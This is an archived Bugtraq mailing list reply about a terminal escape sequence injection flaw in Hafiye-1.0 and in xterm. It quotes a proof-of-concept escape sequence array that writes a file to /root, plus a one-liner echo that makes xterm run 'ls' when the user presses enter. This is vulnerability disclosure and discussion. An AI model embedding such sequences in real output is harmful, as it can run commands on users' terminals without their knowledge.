Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability
From: Serkan Akpolat <sakpolat () gmx net>
Date: Tue, 24 Aug 2004 20:24:50 +0300

Rodrigo Barbosa wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:

char *esc_sequence[]= {"Escape Sequences",
                      "\x1b""]2;Insecure?""\x07\x0a",
                      "\x07\x07\x07\x07\x07\x07",
                      "\x1b""]2;;echo Owned > /root/Owned.txt"
                      "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
                      "Abnormal Termination""\x1b"
                      "[8m;""\x0a"};


Looks like a traditional ANSI escape code "exploit" (or should I say abuse ?).
I would blame this on the terminal, nor on the Hafiye software itself.

[]s

- -- Rodrigo Barbosa <rodrigob () suespammers org>
"Quid quid Latine dictum sit, altum viditur"
"Be excellent to each other ..." - Bill & Ted (Wyld Stallyns)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFBK2TPpdyWzQ5b5ckRAmQmAKCC/JHgqFew7X5MPg7JwIZWGT3ZywCfURNQ
Lg02GiczNMHvLbitgXLSc6c=
=qau0
-----END PGP SIGNATURE-----



Well i would not blame this on terminal emulators.
And the escape sequences in the poc exploit i wrote are not related with ANSI escape code "exploit".
They are features of terminal emulators.


echo -e "\e]2;;ls;\a\e[21t\abash-2.05b$\e[8m;"
You can try this one in xterm.You will see bash-2.05b$ , if you type some command and hit enter, "ls" command in the escape sequence will be executed too. (thanks to bloofar for the hint)

You can read more on "TERMINAL EMULATOR SECURITY ISSUES" paper written by H D Moore. The paper also covers old vulnerabilities in terminal emulators.


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]